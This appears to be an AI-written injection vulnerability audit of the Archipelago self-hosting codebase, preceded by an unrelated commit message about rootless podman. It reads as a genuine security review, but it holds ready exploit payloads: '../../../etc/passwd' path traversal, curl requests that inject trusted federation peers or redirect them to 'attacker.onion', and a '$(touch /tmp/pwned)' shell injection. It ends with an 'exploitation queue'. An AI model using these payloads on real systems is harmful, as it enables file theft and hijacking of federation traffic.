Rootless podman migration (TASK-11): - Remove sudo from all podman calls in PodmanClient + 8 backend files - Remove sudo from all podman/docker calls in deploy script - Restore full systemd security hardening: NoNewPrivileges, RestrictAddressFamilies, MemoryDenyWriteExecute, RestrictRealtime, RestrictNamespaces, RestrictSUIDSGID, SystemCallFilter, ProtectSystem=strict - Enable loginctl linger for rootless container persistence - Remove Ollama from auto-deploy (marketplace-only) Session & auth hardening: - Increase MAX_CONCURRENT_SESSIONS 20→50 (prevents eviction storms) - Debounced 401 redirect in rpc-client.ts (prevents redirect storms) Boot stability: - optimize-debian.sh: adds chrony, swap, removes policy-rc.d - deploy script: pre-restart chrony + swap setup - ISO build: chrony package, swap file creation - BootScreen: no longer clears localStorage (prevents splash replay) - RootRedirect: sole owner of localStorage clearing on server ready UI fixes: - Sidebar opacity default changed from 0→visible (fixes missing sidebar after page-persistence login without entrance animation) - Console.log/error wrapped in import.meta.env.DEV guards - Remove unused route import from RootRedirect Beta tracking: - CLAUDE.md: beta freeze protocol added - MASTER_PLAN.md: TASK-11, TASK-17, phase structure - BETA-PROGRESS.md: initial tracking doc - Tagged v1.2.0-alpha.1 as pre-rootless baseline Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
12 KiB
Now I have all the data I need. Let me write the complete injection vulnerability analysis.
Injection Vulnerability Analysis — Archipelago
Methodology
Traced all user-controlled inputs from RPC handlers, HTTP endpoints, and unauthenticated federation methods through to:
- File system operations (
Path::join,fs::read,fs::write) - Shell command execution (
Command::new("sh").arg("-c"),format!into--health-cmd) - Data store writes (JSON catalog, federation nodes)
Examined ~150 RPC methods, all HTTP routes in handler.rs, nginx proxy configs, and the Vite dev proxy.
Findings
INJ-001: Path Traversal via Content Filename
Type: Path Traversal
Location: RPC method content.add, parameter filename
Source file: core/archipelago/src/api/rpc/content.rs:24-49 + core/archipelago/src/content_server.rs:94-112
Confidence: high
Evidence: The handle_content_add handler accepts an arbitrary filename string from user params with zero validation:
// content.rs:24-27
let filename = params.get("filename").and_then(|v| v.as_str())
.ok_or_else(|| anyhow::anyhow!("Missing filename"))?;
This filename is stored in the catalog and later used in content_file_path():
// content_server.rs:96
let clean_name = item.filename.trim_start_matches('/');
let primary = data_dir.join(CONTENT_DIR).join(clean_name); // No .. check!
trim_start_matches('/') strips leading slashes but does NOT strip .. sequences. A filename like ../../etc/shadow resolves to {data_dir}/content/files/../../etc/shadow → /var/lib/archipelago/content/../../etc/shadow → /var/lib/etc/shadow (or deeper traversals reach /etc/shadow).
When a peer later requests /content/{uuid}, serve_content() looks up the item by UUID (safely validated) but then calls content_file_path() with the attacker-controlled filename, serving arbitrary files.
Requires: Authentication (content.add is not in UNAUTHENTICATED_METHODS). But once added, content is served to unauthenticated peers.
Suggested exploit:
{"method": "content.add", "params": {"filename": "../../../etc/passwd", "mime_type": "text/plain"}}
Then: GET /content/{returned-uuid} serves /etc/passwd.
INJ-002: Path Traversal via Backup USB Mount Point
Type: Path Traversal
Location: RPC method backup.to-usb, parameter mount_point
Source file: core/archipelago/src/api/rpc/backup_rpc.rs:137-149 + core/archipelago/src/backup/full.rs:324-338
Confidence: medium
Evidence: The handle_backup_to_usb handler takes mount_point directly from user params and passes it to backup_to_usb():
// backup_rpc.rs:145-149
let mount_point = params["mount_point"].as_str()
.ok_or_else(|| anyhow::anyhow!("Missing 'mount_point' parameter"))?;
let dest = full::backup_to_usb(&self.config.data_dir, id, mount_point).await?;
In backup_to_usb():
// full.rs:334-337
let mount_path = Path::new(mount_point);
if !mount_path.exists() || !mount_path.is_dir() {
anyhow::bail!("Mount point not accessible");
}
let dest_dir = mount_path.join("archipelago-backups");
fs::create_dir_all(&dest_dir).await?;
No canonicalization, no boundary check. An attacker can write backup files to any writable directory on the filesystem. While the write goes into a subdirectory archipelago-backups/, it still creates directories and writes encrypted backup blobs to arbitrary locations.
Requires: Authentication.
Suggested exploit:
{"method": "backup.to-usb", "params": {"id": "existing-backup-id", "mount_point": "/tmp"}}
Creates /tmp/archipelago-backups/ and writes backup there.
INJ-003: Unauthenticated Federation Node Injection (No DID Validation)
Type: Data Injection / Authentication Bypass
Location: RPC method federation.peer-joined (UNAUTHENTICATED), parameters did, onion, pubkey
Source file: core/archipelago/src/api/rpc/federation.rs:336-374
Confidence: high
Evidence: This method is in UNAUTHENTICATED_METHODS (no session required) and accepts arbitrary peer data with NO signature verification and NO validate_did() call:
// federation.rs:340-370
let did = params.get("did").and_then(|v| v.as_str())...;
let onion = params.get("onion").and_then(|v| v.as_str())...;
let pubkey = params.get("pubkey").and_then(|v| v.as_str())...;
// NO validate_did(did)? call here!
// NO signature verification!
let node = FederatedNode {
did: did.to_string(),
trust_level: TrustLevel::Trusted, // Auto-trusted!
...
};
federation::add_node(&self.config.data_dir, node).await?;
Compare with other federation methods that DO call validate_did(). This method doesn't, AND it sets TrustLevel::Trusted automatically. An attacker on the LAN can inject arbitrary trusted peers. The injected DID could contain path traversal characters since validate_did() is never called.
Suggested exploit:
curl -X POST http://192.168.1.228/rpc/v1 \
-H 'Content-Type: application/json' \
-d '{"method":"federation.peer-joined","params":{"did":"did:key:z6MkATTACKER","onion":"attacker.onion","pubkey":"deadbeef"}}'
INJ-004: Unauthenticated Federation Address Hijacking
Type: Data Injection
Location: RPC method federation.peer-address-changed (UNAUTHENTICATED), parameters did, new_onion
Source file: core/archipelago/src/api/rpc/federation.rs:426-464
Confidence: high
Evidence: Unauthenticated method that updates any known peer's onion address without proof of ownership:
// federation.rs:431-448
let did = params.get("did")...;
let new_onion = params.get("new_onion")...;
let found = nodes.iter_mut().find(|n| n.did == did);
node.onion = new_onion.to_string(); // No signature check!
Combined with INJ-003, an attacker can: (1) discover peer DIDs via federation.get-state (also unauthenticated), (2) change any peer's address to their own, redirecting federation traffic.
Suggested exploit:
# Step 1: Get known peer DIDs
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.get-state"}'
# Step 2: Redirect peer traffic
curl http://192.168.1.228/rpc/v1 -d '{"method":"federation.peer-address-changed","params":{"did":"did:key:z6Mk...","new_onion":"attacker.onion"}}'
INJ-005: Shell Injection via Health Check Command (RPC Password)
Type: Command Injection
Location: get_health_check_args() → --health-cmd podman arg
Source file: core/archipelago/src/api/rpc/package.rs:1323-1324
Confidence: low
Evidence: The Bitcoin RPC password is interpolated into a shell command string:
let btc_health = format!(
"bitcoin-cli -rpcuser=archipelago -rpcpassword={} getblockchaininfo || exit 1",
rpc_pass
);
This becomes --health-cmd=... passed to podman run. If rpc_pass contains shell metacharacters ($(), backticks, ;, |), arbitrary commands execute inside the Bitcoin container during health checks.
The password comes from /var/lib/archipelago/secrets/bitcoin-rpc-password or BITCOIN_RPC_PASSWORD env var — not directly from RPC input. Exploitation requires either: (a) writing to the secrets file, or (b) controlling the environment variable. The command runs inside the container, not on the host.
Suggested exploit: If you can write to the secrets file:
echo '$(touch /tmp/pwned)' > /var/lib/archipelago/secrets/bitcoin-rpc-password
Then install/restart the bitcoin container.
INJ-006: Exec Health Check Command Injection via Manifest
Type: Command Injection
Location: check_exec_health() → podman exec sh -c {endpoint}
Source file: core/container/src/health_monitor.rs:75-90
Confidence: low
Evidence: The health check endpoint string is passed directly to sh -c inside a container:
let output = Command::new("podman")
.arg("exec").arg(&self.container_name)
.arg("sh").arg("-c").arg(endpoint) // Unvalidated
.output().await;
The endpoint comes from HealthCheck struct, which is populated from app manifests. If an attacker can modify a manifest file or if the manifest system accepts user-uploaded manifests, this becomes exploitable. Currently, manifests come from validated local files with canonicalize() + boundary checks on the path, so exploitation is unlikely.
INJ-007: Parmanode Script Content Injection
Type: Command Injection (indirect)
Location: ParmanodeScriptRunner::run_script()
Source file: core/parmanode/src/script_runner.rs:54-88
Confidence: low
Evidence: Script file content is read and embedded verbatim into a shell wrapper:
let script_content = fs::read_to_string(script_path).await?;
let wrapper_script = format!("#!/bin/sh\nset -e\n{}\n", script_content);
Then written to /tmp/parmanode-{name}.sh and executed in an Alpine container. The temp file path uses script_name (derived from file_stem()) which could contain shell metacharacters in the filename. However, the script_path is derived from module_path.join("install.sh"), which is locally controlled.
Additionally, /tmp is world-writable — a TOCTOU race condition could replace the temp file between write and execution.
Non-Findings (Verified Secure)
| Area | Status | Details |
|---|---|---|
| SQL Injection | N/A | No SQL database; all storage is JSON files via serde |
| SSTI | N/A | No template engines (no tera, handlebars, askama); backend returns pure JSON |
| App ID injection | Secure | validate_app_id() enforces [a-z0-9-] whitelist, max 64 chars |
| Docker image injection | Secure | is_valid_docker_image() rejects shell metacharacters + registry whitelist |
| Container manifest path | Secure | .. check + canonicalize() + boundary check to apps_dir |
| Backup ID traversal | Secure | Validates against /, \, .., \0, max 128 chars |
| Content serving URL | Secure | content_id validated via is_valid_app_id() before catalog lookup |
| Nginx path routing | Secure | All proxy routes are fixed localhost ports, no dynamic path construction |
Exploitation Queue
{
"category": "injection",
"findings": [
{
"id": "INJ-001",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "filename (in content.add method)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"content.add\",\"params\":{\"filename\":\"../../../etc/passwd\",\"mime_type\":\"text/plain\"}}"
},
{
"id": "INJ-002",
"type": "path_traversal",
"endpoint": "/rpc/v1",
"parameter": "mount_point (in backup.to-usb method)",
"confidence": "medium",
"payload_suggestion": "{\"method\":\"backup.to-usb\",\"params\":{\"id\":\"test\",\"mount_point\":\"/tmp\"}}"
},
{
"id": "INJ-003",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, onion, pubkey (in federation.peer-joined)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-joined\",\"params\":{\"did\":\"did:key:z6MkATTACKER\",\"onion\":\"evil.onion\",\"pubkey\":\"deadbeef\"}}"
},
{
"id": "INJ-004",
"type": "data_injection_unauth",
"endpoint": "/rpc/v1",
"parameter": "did, new_onion (in federation.peer-address-changed)",
"confidence": "high",
"payload_suggestion": "{\"method\":\"federation.peer-address-changed\",\"params\":{\"did\":\"did:key:KNOWN_PEER_DID\",\"new_onion\":\"attacker.onion\"}}"
},
{
"id": "INJ-005",
"type": "command_injection",
"endpoint": "podman --health-cmd (via package.install)",
"parameter": "bitcoin RPC password from secrets file",
"confidence": "low",
"payload_suggestion": "Write shell metacharacters to /var/lib/archipelago/secrets/bitcoin-rpc-password then restart bitcoin container"
},
{
"id": "INJ-006",
"type": "command_injection",
"endpoint": "podman exec (via health_monitor)",
"parameter": "HealthCheck.endpoint from manifest",
"confidence": "low",
"payload_suggestion": "Modify app manifest health check endpoint to contain shell commands"
},
{
"id": "INJ-007",
"type": "command_injection",
"endpoint": "parmanode script runner",
"parameter": "script file content + /tmp TOCTOU",
"confidence": "low",
"payload_suggestion": "Race condition: replace /tmp/parmanode-*.sh between write and podman mount"
}
]
}